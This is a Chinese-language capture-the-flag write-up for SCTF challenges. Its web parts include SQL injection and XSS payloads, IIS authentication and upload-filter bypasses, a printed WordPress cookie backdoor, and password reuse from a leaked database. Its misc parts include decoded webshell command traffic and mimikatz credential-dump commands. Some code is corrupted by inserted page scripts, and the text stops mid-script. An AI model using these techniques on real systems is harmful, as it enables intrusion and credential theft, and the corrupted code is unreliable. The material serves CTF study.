SCTF-WriteUp

PT100


看到题面提示说 flag 在后台

输入 /admin/ 看到一个 HTTP Basic Authentication

既然是CTF肯定不可能是跑密码了,所以考虑其他情况。观察可知主页跑的是 PHP 。但是看 HTTP 头却是 IIS 。所以考虑是不是 短文件名之类的。搜索可得

1
http://www.freebuf.com/articles/4908.html

注意到最后有这么一段

以下部分为其他报道较少提及的。

还是这个短文件/文件夹名暴露漏洞, acunetix 研究指出当 Apache 运行在 windows 下,如果创建了一个长文件,那么无需猜解长文件,直接用短文件就可以下载了。例如一个 backup-082119f75623eb7abd7bf357698ff66c.sql 的长文件,其短文件是 BACKUP~1.SQL ,攻击者只需要提交 BACKUP~1.SQL 就可以直接访问该文件。原文

http://www.acunetix.com/blog/web-security-zone/articles/windows-short-8-3-filenames-web-security-problem/

另外,Soroush Dalilide研究中还提到可以绕过Basic and Windows认证,猜解认证目录下的文件。以下是II5.0绕过认证的方法:详细可见原文研究

http://soroush.secproject.com/blog/2010/07/iis5-1-directory-authentication-bypass-by-using-i30index_allocation/

“/AuthNeeded:$i30:$INDEX_ALLOCATION/secretfile.asp”

Instead of:

“/AuthNeeded/secretfile.asp”

但是并不是所有版本的IIS都能够绕过认证。应该是在可绕过的前提下猜解,形式如下:

/AuthNeeded::$Index_Allocation/~1/.aspx

或者

/AuthNeeded:$I30:$Index_Allocation/~1/.aspx

一开始尝试

1
/admin::$Index_Allocation/.htpasswd

多次,未果。后来想这个是 IIS 可以在 IIS 那边设置,遂访问

1
/admin::$Index_Allocation/index.php

得到一个登陆点,尝试

1
id=001'  return : WTF

但是

1
id=0001' return : login failed

可以大概猜测出,这个只能输入四个字节,且应该是个注入,四个字节注入想到 alictf 的 web100 将 or 转成 || 。尝试

1
'|1#

发现不行。。。后来纠结了很久,重新看了一遍自己输入的。。考虑了下,随手将 1 改成 0 。

Get Flag。。。

PT200


看了下 source code 发现有个

1
index.php?name=xss

然后在右上角有个链接可以提交语句,简单来看就是一个 xss 。然后试验了几个关键词,发现都过滤了。

比如

1
on|script|img

等等

然后想要不先打后台吧,测试发现

1
<iframe>

没有过滤,就打了个过去。但是想想也没 cookie 似乎也干不了什么。

后来官方给了 hint 说是不要 0day 已经有绕过了。遂 Google 。

1
http://parsec.me/13.html

里面 import 一个外部 PHP ,但是如果直接打 cookie 不行,因为存在一个跨域问题,插个允许跨域的头就 ok 了。 然后打到后台,发现没 cookie 什么的。

再看另一个 hint 可知,有个 SQLi ,遂利用 heige ,在杭州说的思路,用 ajax 去获取信息,然后再回传。

猜测后发现存在 flag.php 然后总要有参数吧。

记得去年还是前年 syc 举办的一个比赛,注入也是要先输入一个 GET 参数

1
id=1

这样之后得到一个地址。尝试

1
2
'
and 1=1

可看到,提示有安全狗。

前两天刚看到有人发了条微博,说 MySQL 新关键字, multipoint 什么的。

1
 https://rdot.org/forum/showthread.php?p=37133

然后注入。

PT400


官方给了个 wordpress 的 blog 看了下。没什么想法。

后来看到底部给了个链接

1
http://idc.sycsec.com

就想反正 wordpress 不好搞。那就直接搞 idc 吧。(另:真实渗透中搞不搞 idc 主要还是看值不值得,看产入产出比。)

进入 idc 可以看到 download 有 pt300 的源码。可惜审错版本。。导致没做出来。

然后底部有个 bug反馈

1
bug.php

然后后来官方 hint SQLi 那就是 idc 有注入了,手测了下。

1
id=2 返回等于 id=4-2

可以知道这有注入,然后但是发现应该是过滤了什么。

因为懒,所以我 SQLmap 的 tamper 一个个试过去,不巧第二个就成功了。看了下,发现是讲空格转换成 %0a 。

然后注入出后台管理员账号密码。

然后但是不知道后台啊,所以将注入 concat 出一个 xss 。从 bug 反馈那边打到后台。

(这里是吐槽:管理员的密码跑出不来。最后手抽去 Google 了一下才得到密码。)

进入后台后有上传点,尝试直接上传不成功,修改上传的包

1
text/php -> image/jpg

发现可上传,但是其实没搞定。后来,百度了几个免杀 PHP 一句话之类的。发现,如果 PHP 标签不是

1
<?php ?>

而是

1
<script language=php></script>

就可以绕过。

然后应该是过滤了很多函数,尝试直接列目录和读文件,发现目录下有个 wordpress 的压缩包。赌五毛就是看压缩包日 blog 了。

然后根据时间将压缩包里的文件都列出来,发现

1
/wp-include/revision.php

这个文件是最近修改过的, diff 了下官方版本的 wordpress 发现里面多了这么一段。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#!php
function wp_check_my_session(){
if(isset($_COOKIE['wp-ssesion'])) {
    $_check=($_COOKIE['wp-sesion'][0]^$_COOKIE['wp-sesion'][1]).
            ($_COOKIE['wp-sesion'][2]^$_COOKIE['wp-sesion'][3]).
            ($_COOKIE['wp-sesion'][4]^$_COOKIE['wp-sesion'][5]).
            ($_COOKIE['wp-sesion'][6]^$_COOKIE['wp-sesion'][7]).
            ($_COOKIE['wp-sesion'][8]^$_COOKIE['wp-sesion'][9]).
            ($_COOKIE['wp-sesion'][10]^$_COOKIE['wp-sesion'][11]);
    $_check($_COOKIE['wp-ssesion']);
}
else{
return 0;
}

看了眼应该是后门,用户可以自定义一个六位的函数并执行,第一反应是 system 。

然后就写了个程序,直接暴力跑了下所有的可能,随便拿了一个出来。屡次尝试后发现不成功。

然后发现,这里还是吐槽:其实 cookie 里是有两个不一样的变量的。。但是由于太像了,导致我只传了一个。

满心欢喜的去执行了,传了两个后发现,还是不行。。目测就是 system 函数被禁用了?

然后尝试 assert 函数。成功执行,翻文件后发现没有 flag 。最后直接连上数据库

Get FLag

PT500


链接到三叶草花卉公司。

1
http://corp.sycsec.com

enter image description here

可以看到给出了几个链接,还有个妹子的图片,在源码里还有妹子的邮箱。

enter image description here

从题面看,最终是要到 file 服务器找到那个种子。然后

1
2
PING file.sycsec.com (10.24.13.37): 56 data bytes
Request timeout for icmp_seq 0

发现 file 服务器在内网,好了就是渗透了。

enter image description here

然后先到 report 服务器,看到时要用工号登陆,又说妹子来了就有83人了。易得,妹子的工号肯定就是

1
SYC083

然后到公开的社工库查询下,发现在 csdn 泄漏了妹子的密码。用那个密码成功登陆 report 服务器。

enter image description here

然后有上传点,发现上传任何文件都会变成 lol 的后缀的文件。然后看了下上传的包,随手在文件名里面加了个 ‘ 发现报错了。

好了,目测就是文件名的注入了。注入得到每个人的账号密码,工号,公司邮箱。

enter image description here

噢,邮箱啊。那就是接下去要登陆 mail 服务器了。目测邮箱地址为

1
http://mail.sycsec.com

好了,然后密码一个个试过去,发现

1
<a class="__cf_email__" href="/cdn-cgi/l/email-protection" data-cfemail="dba3b2bab4a3b29ba8a2b8a8beb8f5b8b4b6">[email protected]</a><script data-cfhash='f9e31' type="text/javascript">/* <![CDATA[ */!function(t,e,r,n,c,a,p){try{t=document.currentScript||function(){for(t=document.getElementsByTagName('script'),e=t.length;e--;)if(t[e].getAttribute('data-cfhash'))return t[e]}();if(t&&(c=t.previousSibling)){p=t.parentNode;if(a=c.getAttribute('data-cfemail')){for(e='',r='0x'+a.substr(0,2)|0,n=2;a.length-n;n+=2)e+='%'+('0'+('0x'+a.substr(n,2)^r).toString(16)).slice(-2);p.replaceChild(document.createTextNode(decodeURIComponent(e)),c)}p.removeChild(t)}}catch(u){}}()/* ]]> */</script>

可以登陆,发现里面有 vpn 服务器地址,还说了密码是工号加生日,

enter image description here

邮件里还说小美周末就生日了。

enter image description here

然后到

http://vpn.sycsec.com

用注入得到的小美的工号加生日(枚举了生日年份 90-99 )发现小美密码是

SYC079940927

enter image description here

登陆 vpn 服务器后,访问

http://10.24.13.37/

到了 file 服务器,然后组合各种密码未果。尝试扫描目录,发现有个 files 目录。

既然是 files 服务器,而且是一个公司,那么肯定在 files 目录下有用用户名或者工号命名的目录,然后后面有文件。

然后尝试

1
http://10.24.13.37/files/SYC001 - SYC083/torrent

enter image description here

Get Flag!

code200


把数值转成二进制观察下就行了,直接贴代码吧。代码太挫,勿喷。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
#!python
import string,socket

global answer,real_ans,flag,a_num

def check(answer_t,num):
    global real_ans
    money = [1, -2, 4, -8, 16, -32, 64, -128, 256, -512, 1024, -2048, 4096, -8192]
    for x in answer_t:
        num -= money[x]
    if num == 0:
        flag = 1
        real_ans = answer[:]
        return 1
    return 0

def odd(i):
    if i % 2 == 0:
        return False
    return True

def solv(num):

    global answer,real_ans
    if check(answer,a_num) == 1:
        return 0
    bin_num = bin(num)

    if odd(abs(num)):
        num -= 1
        bin_num = bin(num)
        answer.append(0)
        if check(answer,a_num) == 1:
            return

    for x in xrange(2,len(bin_num)-1,2):
        if bin_num[-1*x] == '0' and bin_num[-1*x-1]== '1':
            answer.append(x)
            if solv(num-2**x) == 0:
                return 0

        if bin_num[-1*x] == '1' and bin_num[-1*x-1]== '1':
            answer.append(x-1)
            if solv(num+2**(x-1)) == 0:
                return 0

        if bin_num[-1*x] == '1' and \
          (bin_num[-1*x-1]== '0' or bin_num[-1*x-1]== 'b'):
            answer.append(x-1)
            if solv(num+2**(x-1)) == 0:
                return 0

def main():
    global answer,real_ans,flag,a_num
    io = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    io.connect(('218.2.197.248',10007))
    res = ''
    rnd = 0

    while True:
        rnd += 1
        a_num = 0
        res = ''
        res = io.recv(1024)
        try:
            a_num = int(res)
        except:
            print '\n'+res
            break
        print '\n' + '-' * 10 + ' Round %d '%rnd + '-'*10
        print res
        flag = 0
        answer = []
        real_ans = []
        solv(a_num)
        s = ''
        if len(real_ans)>0:
            s = ' '.join([str(x) for x in real_ans[::-1]])
        print s
        io.sendall(s+'\n')


if __name__ == '__main__':
    main()

RE50


送分题,就是没来得及看公告……使用IDA64分析,发现是对输入的字符串每一个字符右移3位,然后和字符串Jr3gFud6n进行比较看是否一致。

enter image description here

enter image description here

Python脚本:

1
2
3
4
5
6
7
8
9
10
11
12
#!python
# -*- coding:utf-8 -*-
def getFlag():
    s = "n6duFg3rJ"[::-1]
    flag = []
    for ch in s:
        flag.append(chr(ord(ch)-3))
    return "".join(flag)

if __name__ == "__main__":
    raw_input("SCTF{%s}" % getFlag())
    # SCTF{Go0dCra3k}

MISC100


对bin文件进行分析,发现在主框架中通过signal函数注册了几个信号,其中’2’,’4’,’6’,’8’分别用于控制下、左、上、右四个方向,SIGALRM用于处理游戏的主要业务逻辑。至于SIGTRAP,则是在handler里面留了个个int 3的断点,简单的反调试罢了,SIGTRAP的信号处理逻辑为直接执行一个空函数。

enter image description here

所以我们可以写一个程序,通过发送信号的方式来控制按键。Linux下C语言可以使用kill函数对指定的pid发送信号,而pid则可以通过执行命令得到(ps/grep/awk),为了完美接收键盘控制信息,我这里使用了curses来接收按键操作,这样直接按方向键就好了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
#!c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <curses.h>
#include <sys/types.h>
#include <signal.h>

int getPid()
{
    FILE *fp = NULL;
    fp = popen("ps -e|grep \'snake\'|awk \'{print $1}\'", "r");
    int pid = -1;
    if (EOF == fscanf(fp, "%d", &pid)) pid = -1;
    pclose(fp);
    return pid;
}

int main(int argc, char** argv)
{
    int ch;
    int pid = -1;

    while (pid == -1) pid = getPid();
    printf("pid = %d\n", pid);
    initscr();
    cbreak();
    noecho();
    keypad(stdscr, true);
    while (1)
    {
        ch = getch();
        if (ch == KEY_UP) ch = '8';
        else if (ch == KEY_DOWN) ch = '2';
        else if (ch == KEY_LEFT) ch = '4';
        else if (ch == KEY_RIGHT) ch = '6';
        kill(pid, ch);
    }
    endwin();

    return 0;
}
/*
    g++ -o ctrl ctrl.cpp -lncurses
    U0NURntzMWduNGxfMXNfZnVubnk6KX0=
    SCTF{s1gn4l_1s_funny:)}
*/

MISC300

从编号为16的数据包中找到一个Encryption Key为1122334455667788,于是Google一下关键字“SMB 1122334455667788 密码”,点点点来到看雪的一个帖子http://bbs.pediy.com/showthread.php?t=176189,学习一下。

enter image description here

以及Unicode Password,如下图所示:

enter image description here

参照看雪论坛的帖子,新进行如下操作:

Step 1: 彩虹表跑起来


从ftp://freerainbowtables.mirror.garr.it/mirrors/freerainbowtables/RTI2/halflmchall/下载彩虹表,还好网速快,哗啦啦就把第一个文件夹的4GB多的彩虹表下好了。然后从http://sourceforge.net/projects/rcracki/下载rcracki程序,执行如下命令: rcracki_mt.exe -h 9e94258a03356914 D:\Downloads\rainbow

很快就看到了结果,如图所示:

enter image description here

第一步搞定,这里得到的结果为:

9e94258a03356914 NETLMIS hex:4e45544c4d495

Step 2: Perl脚本跑起来


这里卡了一会,因为看雪的帖子并没有说John文件是如何构造的,他那个是Metasploit自动生成的,所以我又翻了好几个帖子,最后构造了这样一个文件:

user::domain:9e94258a03356914b15929fa1d2e290fab9c8f9f01999448:013f3cb06ba848f98a6ae6cb4a76477c5ba4e45cda73b475:1122334455667788

然后去Kali下的metasploit-framework下跑netntlm.pl脚本:

[email protected]:/usr/share/metasploit-framework/data/john/run.linux.x64.mmx$

sudo perl ./netntlm.pl –seed “NETLMIS” –file /tmp/john_netntlm

跑完第一遍得到NETLMIS666,这个是不区分大小写的,我们还需要跑第二遍,第二遍得到NetLMis666,因此Flag为SCTF{NetLMis666}。

MISC400A


Wireshark打开pcap文件,输入过滤器“tcp contains “.rar””,发现一个编号为10192的POST数据包,参数经过Unescape解码后得到:

1
<a class="__cf_email__" href="/cdn-cgi/l/email-protection" data-cfemail="7a0315473a1f0c1b16">[email protected]</a><script data-cfhash='f9e31' type="text/javascript">/* <![CDATA[ */!function(t,e,r,n,c,a,p){try{t=document.currentScript||function(){for(t=document.getElementsByTagName('script'),e=t.length;e--;)if(t[e].getAttribute('data-cfhash'))return t[e]}();if(t&&(c=t.previousSibling)){p=t.parentNode;if(a=c.getAttribute('data-cfemail')){for(e='',r='0x'+a.substr(0,2)|0,n=2;a.length-n;n+=2)e+='%'+('0'+('0x'+a.substr(n,2)^r).toString(16)).slice(-2);p.replaceChild(document.createTextNode(decodeURIComponent(e)),c)}p.removeChild(t)}}catch(u){}}()/* ]]> */</script>(base64_decode($_POST[z0]));&z0=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0+fCIpOzskRj1nZXRfbWFnaWNfcXVvdGVzX2dwYygpP3N0cmlwc2xhc2hlcygkX1BPU1RbInoxIl0pOiRfUE9TVFsiejEiXTskZnA9QGZvcGVuKCRGLCJyIik7aWYoQGZnZXRjKCRmcCkpe0BmY2xvc2UoJGZwKTtAcmVhZGZpbGUoJEYpO31lbHNle2VjaG8oIkVSUk9SOi8vIENhbiBOb3QgUmVhZCIpO307ZWNobygifDwtIik7ZGllKCk7&z1=C:\\inetpub\\wwwroot\\backup\\wwwroot.rar

其中z0参数经过Base64解码后得到:

1
@ini_set("display_errors","0");@set_time_limit(0);@set_magic_quotes_runtime(0);echo("->|");;$F=get_magic_quotes_gpc()?stripslashes($_POST["z1"]):$_POST["z1"];<a class="__cf_email__" href="/cdn-cgi/l/email-protection" data-cfemail="b89cdec885f8ded7c8ddd6">[email protected]</a><script data-cfhash='f9e31' type="text/javascript">/* <![CDATA[ */!function(t,e,r,n,c,a,p){try{t=document.currentScript||function(){for(t=document.getElementsByTagName('script'),e=t.length;e--;)if(t[e].getAttribute('data-cfhash'))return t[e]}();if(t&&(c=t.previousSibling)){p=t.parentNode;if(a=c.getAttribute('data-cfemail')){for(e='',r='0x'+a.substr(0,2)|0,n=2;a.length-n;n+=2)e+='%'+('0'+('0x'+a.substr(n,2)^r).toString(16)).slice(-2);p.replaceChild(document.createTextNode(decodeURIComponent(e)),c)}p.removeChild(t)}}catch(u){}}()/* ]]> */</script>($F,"r");if(@fgetc($fp))<a class="__cf_email__" href="/cdn-cgi/l/email-protection" data-cfemail="ef94af898c83809c8a">[email protected]</a><script data-cfhash='f9e31' type="text/javascript">/* <![CDATA[ */!function(t,e,r,n,c,a,p){try{t=document.currentScript||function(){for(t=document.getElementsByTagName('script'),e=t.length;e--;)if(t[e].getAttribute('data-cfhash'))return t[e]}();if(t&&(c=t.previousSibling)){p=t.parentNode;if(a=c.getAttribute('data-cfemail')){for(e='',r='0x'+a.substr(0,2)|0,n=2;a.length-n;n+=2)e+='%'+('0'+('0x'+a.substr(n,2)^r).toString(16)).slice(-2);p.replaceChild(document.createTextNode(decodeURIComponent(e)),c)}p.removeChild(t)}}catch(u){}}()/* ]]> */</script>($fp);@readfile($F);}else{echo("ERROR:// Can Not Read");};echo("|<-");die();

可以知道这里是读取了wwwroot.rar这个压缩包文件,在Wireshark将Rar给Dump出来,解压发现需要密码。因为rar文件比较大,所以10192附近有很多TCP的数据包,所以我们使用过滤器“http”进行筛选之后再观察10192附近的数据包,发现了很多POST数据包。

从10192开始,往上一个一个的看POST数据包,发现编号9997的数据包参数经过Unescape解码后得到:

1
<a class="__cf_email__" href="/cdn-cgi/l/email-protection" data-cfemail="443d2b790421322528">[email protected]</a><script data-cfhash='f9e31' type="text/javascript">/* <![CDATA[ */!function(t,e,r,n,c,a,p){try{t=document.currentScript||function(){for(t=document.getElementsByTagName('script'),e=t.length;e--;)if(t[e].getAttribute('data-cfhash'))return t[e]}();if(t&&(c=t.previousSibling)){p=t.parentNode;if(a=c.getAttribute('data-cfemail')){for(e='',r='0x'+a.substr(0,2)|0,n=2;a.length-n;n+=2)e+='%'+('0'+('0x'+a.substr(n,2)^r).toString(16)).slice(-2);p.replaceChild(document.createTextNode(decodeURIComponent(e)),c)}p.removeChild(t)}}catch(u){}}()/* ]]> */</script>(base64_decode($_POST[z0]));&z0=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0+fCIpOzskcD1iYXNlNjRfZGVjb2RlKCRfUE9TVFsiejEiXSk7JHM9YmFzZTY0X2RlY29kZSgkX1BPU1RbInoyIl0pOyRkPWRpcm5hbWUoJF9TRVJWRVJbIlNDUklQVF9GSUxFTkFNRSJdKTskYz1zdWJzdHIoJGQsMCwxKT09Ii8iPyItYyBcInskc31cIiI6Ii9jIFwieyRzfVwiIjskcj0ieyRwfSB7JGN9IjtAc3lzdGVtKCRyLiIgMj4mMSIsJHJldCk7cHJpbnQgKCRyZXQhPTApPyIKcmV0PXskcmV0fQoiOiIiOztlY2hvKCJ8PC0iKTtkaWUoKTs=&z1=Y21k&z2=Y2QgL2QgImM6XGluZXRwdWJcd3d3cm9vdFwiJkM6XHByb2dyYX4xXFdpblJBUlxyYXIgYSBDOlxJbmV0cHViXHd3d3Jvb3RcYmFja3VwXHd3d3Jvb3QucmFyIEM6XEluZXRwdWJcd3d3cm9vdFxiYWNrdXBcMS5naWYgLWhwSkpCb29tJmVjaG8gW1NdJmNkJmVjaG8gW0Vd

对参数进行Base64解码得到:

1
2
3
<a class="__cf_email__" href="/cdn-cgi/l/email-protection" data-cfemail="6d1402502d081b0c01">[email protected]</a><script data-cfhash='f9e31' type="text/javascript">/* <![CDATA[ */!function(t,e,r,n,c,a,p){try{t=document.currentScript||function(){for(t=document.getElementsByTagName('script'),e=t.length;e--;)if(t[e].getAttribute('data-cfhash'))return t[e]}();if(t&&(c=t.previousSibling)){p=t.parentNode;if(a=c.getAttribute('data-cfemail')){for(e='',r='0x'+a.substr(0,2)|0,n=2;a.length-n;n+=2)e+='%'+('0'+('0x'+a.substr(n,2)^r).toString(16)).slice(-2);p.replaceChild(document.createTextNode(decodeURIComponent(e)),c)}p.removeChild(t)}}catch(u){}}()/* ]]> */</script>(base64_decode($_POST[z0]));&<a class="__cf_email__" href="/cdn-cgi/l/email-protection" data-cfemail="c9b3f9f489a0a7a0">[email protected]</a><script data-cfhash='f9e31' type="text/javascript">/* <![CDATA[ */!function(t,e,r,n,c,a,p){try{t=document.currentScript||function(){for(t=document.getElementsByTagName('script'),e=t.length;e--;)if(t[e].getAttribute('data-cfhash'))return t[e]}();if(t&&(c=t.previousSibling)){p=t.parentNode;if(a=c.getAttribute('data-cfemail')){for(e='',r='0x'+a.substr(0,2)|0,n=2;a.length-n;n+=2)e+='%'+('0'+('0x'+a.substr(n,2)^r).toString(16)).slice(-2);p.replaceChild(document.createTextNode(decodeURIComponent(e)),c)}p.removeChild(t)}}catch(u){}}()/* ]]> */</script>_set("display_errors","0");@set_time_limit(0);@set_magic_quotes_runtime(0);echo("->|");;$p=base64_decode($_POST["z1"]);$s=base64_decode($_POST["z2"]);$d=dirname($_SERVER["SCRIPT_FILENAME"]);$c=substr($d,0,1)=="/"?"-c "{$s}"":"/c "{$s}"";$r="{$p} {$c}";@system($r." 2>&1",$ret);print ($ret!=0)?"
ret={$ret}
":"";;echo("|<-");die();&z1=cmd&z2=cd /d "c:\inetpub\wwwroot"&C:\progra~1\WinRAR\rar a C:\Inetpub\wwwroot\backup\wwwroot.rar C:\Inetpub\wwwroot\backup\1.gif -hpJJBoom&echo [S]&cd&echo [E]

其中hp后面的JJBoom就是压缩包的密码了,解压得到一个1.gif文件,trid鉴定一下,发现是个Minidump文件:

enter image description here

将后缀改成mdmp之后,使用Visual Studio打开看了下,发现是lsass.exe进程的Dump文件,如下图所示:

enter image description here

Google一下关键字“lsass dump 密码”,就看到了mimikatz,所以根据经验这就是通过mimikatz来读取密码了,打开mimikatz,然后输入如下命令:

sekurlsa::minidump 1.mdmp

sekurlsa::logonPasswords

就能看到分析出来的密码了,密码处显示,如下图所示:

enter image description here

于是提交了一下尝试:

SCTF{} SCTF{ } (TAB+空格)

发现都不对,然后又去反查NTLM发现查不到,最后自己在XP下测试了一下,发现密码中是不能有空格的,然后空格就是空格,也不会显示成,当然在命令行下也看不出来有空格,所以只能猜测后面是有空格了,试了几个发现也不对,就把输出重定向到文件里:

enter image description here

打开文件就能看到密码了,所以Flag为SCTF{ }。

CODE400


题目所给的原始代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
#!python
import json
import hashlib
import os
import base64
from Crypto.Cipher import AES


fp = open("secret.json", "r")
secret = json.load(fp)
fp.close()

if type(secret["the answer to life the universe and everything"]) != type(u"77"):
    destroy_the_universe()

answer = hashlib.sha1(secret["the answer to life the universe and everything"]).hexdigest()[0:16]
key = hashlib.sha1(secret["Don't google what it is"]).digest()[0:6]

if ord(key[4])*(ord(key[5])-5) != 17557:
    destroy_the_universe()

keys = ["hey"+key[2]+"check"+key[3]+"it"+key[0]+"out",
        "come"+key[1]+"on"+key[4]+"baby"+key[5]+"~~!"]
answer = AES.new(keys[1],AES.MODE_ECB).encrypt(
                AES.new(keys[0], AES.MODE_ECB).encrypt(answer))

if base64.b64encode(answer) == "fm2knkCBHPuhCQHYE3spag==":
    fp = open("%s.txt" % hashlib.sha256(key).hexdigest(), "w")
    fp.write(secret["The entrance to the new world"])
    fp.close()

第一个if语句也真是个坑,Google一下”the answer to life the universe and everything”得到的是42,然后后面也必须用42,不然就算不出结果,这里居然写成77?

第二个if语句,我们可以计算出有97*181=17557,代码如下:

def break_multiply(dst=17557): for i in xrange(0, dst+1): for j in xrange(i, dst+1): if i * j == dst: print “%d * %d = %d” % (i, j, dst)

那么key4和key5会存在两种情况(97,186),(181,102)。

之后就是加密处理了,加密逻辑为:使用keys[0]对answer进行AES加密得到中间结果TMP,然后使用keys1对TMP进行AES加密得到结果RES,对RES进行Base64编码得到fm2knkCBHPuhCQHYE3spag==。

那么我们就可以开始爆破了,其中keys1存在512种情况,所以稍微优化一下我们可以使用keys1对加密结果进行AES解密,然后使用一个list保存这512种可能的中间结果,然后跑一个256256256的三重循环破解keys[0],代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
#!python
# -*- coding:utf-8 -*-

import hashlib
import base64
from Crypto.Cipher import AES

def genkey1():
    res = []
    for i in xrange(0, 256):
        res.append("come"+chr(i)+"on"+chr(181)+
                     "baby"+chr(102)+"~~!")
        res.append("come"+chr(i)+"on"+chr(97)+
                     "baby"+chr(186)+"~~!")
    return res

def genkey0():
    res = []
    for i in xrange(0, 256):
        for j in xrange(0, 256):
            for k in xrange(0, 256):
                res.append("hey"+chr(i)+"check"+
                             chr(j)+"it"+chr(k)+"out")
    return res

def getkey1(key0):
    answer = hashlib.sha1(u"42").hexdigest()[0:16]
    tmp = AES.new(key0, AES.MODE_ECB).encrypt(answer)
    final_answer = base64.b64decode("fm2knkCBHPuhCQHYE3spag==")
    for i in xrange(0, 256):
        key1 = "come"+chr(i)+"on"+chr(181)+"baby"+chr(102)+"~~!"
        if tmp == AES.new(key1, AES.MODE_ECB).decrypt(
                             final_answer):
            print "key1: " + repr(key1)
            return
        key1 = "come"+chr(i)+"on"+chr(97)+"baby"+chr(186)+"~~!"
        if tmp == AES.new(key1, AES.MODE_ECB).decrypt(
                             final_answer):
            print "key1: " + repr(key1)
            return

def crack():
    keys0 = genkey0() # 256**3
    keys1 = genkey1() # 512
    answer = hashlib.sha1(u"42").hexdigest()[0:16]
    final_answer = base64.b64decode("fm2knkCBHPuhCQHYE3spag==")
    tmp_res = []
    for key1 in keys1:
        tmp_res.append(AES.new(key1, AES.MODE_ECB).decrypt(
                          final_answer))
    for key0 in keys0:
        tmp = AES.new(key0, AES.MODE_ECB).encrypt(answer)
        if tmp in tmp_res:
            print "key0: " + repr(key0)
            return getkey1(key0)

if __name__ == "__main__":
    crack()
    key = "\x81i7\x88a\xba"
    print hashlib.sha256(key).hexdigest()
"""
key0: 'hey7check\x88it\x81out'  2 3 0
key1: 'comeionababy\xba~~!'     1 4 5
5bd15779b922c19ef9a9ba2f112df1f2dbb0ad08bbf9edac27a28a0f3ba753f4
http://download.sycsec.com/code/code400/5bd15779b922c19ef9a9ba2f112df1f2dbb0ad08bbf9edac27a28a0f3ba753f4.txt
"""

当然上面的代码中也可以不事先执行完3个256的循环,这样还可以进一步加快计算速度,因为中间只要得到答案就可以返回了。这里得到的key为”\x81i7\x88a\xba”,sha256得到5bd15779b922c19ef9a9ba2f112df1f2dbb0ad08bbf9edac27a28a0f3ba753f4。所以打开

http://download.sycsec.com/code/code400/5bd15779b922c19ef9a9ba2f112df1f2dbb0ad08bbf9edac27a28a0f3ba753f4.txt

打开得到如下的提示:

1
2
3
4
====== Base64格式密文 ======
Or18/xSC2xW5pT7BLbIE7YPGLwWytbZsxupMp4w6iaa0QvtYZUMefkf43wmzR36MekHm23wgI4buIJLGk7m7gTq9fP8UgtsVuaU+wS2yBO2Dxi8FsrW2bMbqTKeMOommtEL7WGVDHn5H+N8Js0d+jHpB5tt8ICOG7iCSxpO5u4E6vXz/FILbFbmlPsEtsgTtg8YvBbK1tmzG6kynjDqJprRC+1hlQx5+R/jfCbNHfox6QebbfCAjhu4gksaTubuBOr18/xSC2xW5pT7BLbIE7YPGLwWytbZsxupMp4w6iaa0QvtYZUMefkf43wmzR36MekHm23wgI4buIJLGk7m7gTq9fP8UgtsVuaU+wS2yBO2Dxi8FsrW2bMbqTKeMOommtEL7WGVDHn5H+N8Js0d+jHpB5tt8ICOG7iCSxpO5u4E=
====== 部分明文还原 ======
*****n**M****H***j***Wx*******d************h*****3****=*******==******t**F**M**f***hM************3***H*w**J*********=**==*******U******E**95**V*c*N****5**t*M*****J*c*Q*****c*h5**0******==*==****NUR*******************X2*u*H**Y************G**P****=***********0*****************************f***5****OX*********=*******=****

对Base64密文进行Base64解码,发现密文的长度为320,和明文的长度是一致的,然后密文是下面的值重复5次:

1
:\xbd|\xff\x14\x82\xdb\x15\xb9\xa5>\xc1-\xb2\x04\xed\x83\xc6/\x05\xb2\xb5\xb6l\xc6\xeaL\xa7\x8c:\x89\xa6\xb4B\xfbXeC\x1e~G\xf8\xdf\t\xb3G~\x8czA\xe6\xdb| #\x86\xee \x92\xc6\x93\xb9\xbb\x81

密文和明文长度是一致的,然后密文是重复的,可以猜想明文也是重复的,而且明文去除掩码后得到的字符串的长度刚好是64(64*5=320):

nMHjWxdh3===tFMfhM3HwJ===UE95VcN5tMJcQch50====NURX2uHYGP=0f5OX==

所以猜想通过带掩码的明文刚好可以恢复出明文值,代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#!python
# -*- coding:utf-8 -*-
import sys
import hashlib
import base64

def crack():
    ciphertext = base64.b64decode("Or18/xSC2xW5pT7BLbIE7YPGLwWytbZsxupMp4w6iaa0QvtYZUMefkf43wmzR36MekHm23wgI4buIJLGk7m7gTq9fP8UgtsVuaU+wS2yBO2Dxi8FsrW2bMbqTKeMOommtEL7WGVDHn5H+N8Js0d+jHpB5tt8ICOG7iCSxpO5u4E6vXz/FILbFbmlPsEtsgTtg8YvBbK1tmzG6kynjDqJprRC+1hlQx5+R/jfCbNHfox6QebbfCAjhu4gksaTubuBOr18/xSC2xW5pT7BLbIE7YPGLwWytbZsxupMp4w6iaa0QvtYZUMefkf43wmzR36MekHm23wgI4buIJLGk7m7gTq9fP8UgtsVuaU+wS2yBO2Dxi8FsrW2bMbqTKeMOommtEL7WGVDHn5H+N8Js0d+jHpB5tt8ICOG7iCSxpO5u4E=")
